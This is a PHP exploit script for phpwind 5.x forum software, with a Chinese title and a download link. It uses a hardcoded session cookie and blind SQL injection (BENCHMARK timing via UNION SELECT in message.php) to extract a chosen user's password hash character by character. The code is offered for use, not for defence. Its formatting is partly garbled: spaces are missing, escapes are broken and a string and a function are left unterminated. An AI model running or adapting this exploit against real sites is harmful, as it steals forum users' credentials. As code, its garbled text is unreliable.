phpwind Exp 漏洞利用

+------------------------------------------------------------------+

ExploitForPhpwind5.XVersion
BYLoveshell
JustForFun:)

+------------------------------------------------------------------+
");

ini_set("max_execution_time",0);
error_reporting(7);

$bbspath="$argv[2]";
$server="$argv[1]";
$cookie='1ae40_lastfid=0;1ae40_ol_offset=776;1ae40_ck_info=%2F%09.72m.net;1ae40_winduser=A1QKBgE9UFxUUwAHDloFUAMIAFxeUgIMWgFUVVYDAA8HBFQNUVA%3D;1ae40_lastvisit=0%091173612527%09%2Fbbs%2Findex.php%3F;
$useragent="Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1)";
$uid=intval($argv[3])>0?intval($argv[3]):1;

echo"rn#Loggingt........";
if(islogin())echo"LoginOk!rn";
elsedie("NotLogin!tCheckYourCookieandUseragent!rn");

echo"#Testingt........";
if(test())echo"Vul!rn";
elsedie("NotVul");

$hashtable='0123456789abcdef';
$count=0;

echo"#Crackingtrnrn";

for($i=1;$i<=16;$i++){
echo"第t$it位:";
$subpass=crack($i+8);
$password=$password.$subpass;
echo"$subpassrn";
}

echo"Password:t$password";

echo"rnGoodLuck$countTimesrn";

functionsend($cmd,$path)
{
global$bbspath,$server,$cookie,$count,$useragent,$debug,$evilip;

$path=$bbspath."$path";
$message="POST".$path."HTTP/1.1rn";
$message.="Accept:*/*rn";
$message.="Accept-Language:zh-cnrn";
$message.="Referer:http://".$server.$path."rn";
$message.="Content-Type:application/x-www-form-urlencodedrn";
$message.="User-Agent:".$useragent."rn";
$message.="Host:".$server."rn";
$message.="Content-length:".strlen($cmd)."rn";
$message.="Connection:Keep-Alivern";
$message.="Cookie:".$cookie."rn";
$message.="rn";
$message.=$cmd."rn";

$count=$count+1;
$fd=fsockopen($server,80);
fputs($fd,$message);
$resp="

"; 
while($fd&&!feof($fd)){ 
$resp.=fread($fd,1024); 
} 
fclose($fd); 
$resp.="

functionsqlject($sql){
global$uid;
$data='action=pubmsg&readmsg=0)';
$data=$data."unionselectBENCHMARK(1000000,md5(12345))frompw_memberswhereuid=$uidand$sql".'/*';
$echo=send($data,'message.php');
preg_match("/Total(.*)(/i",$echo,$matches);
if($matches[1]>2)return1;
elsereturn0;
}

functiontest(){
global$uid;
$data='action=pubmsg&readmsg=0)';
$echo=send($data,'message.php');
if(strpos($echo,'MySQLServerError'))return1;
elsereturn0;
}

functionislogin(){
global$uid;
$data='action=pubmsg&readmsg=0)';
$echo=send($data,'message.php');
if(strpos($echo,'login.php"'))return0;
elsereturn1;
}

functioncrack($i){
global$hashtable;

$sql="mid(password,$i,1)>0x".bin2hex('8');
if(sqlject($sql)){
$a=8;
$b=15;}
else{
$a=0;
$b=8;
}

for($tmp=$a;$tmp<=$b;$tmp++){
$sql="mid(password,$i,1)=0x".bin2hex($hashtable[$tmp]);
if(sqlject($sql))return$hashtable[$tmp];
}
crack($i);
}
?>
点击下载此文件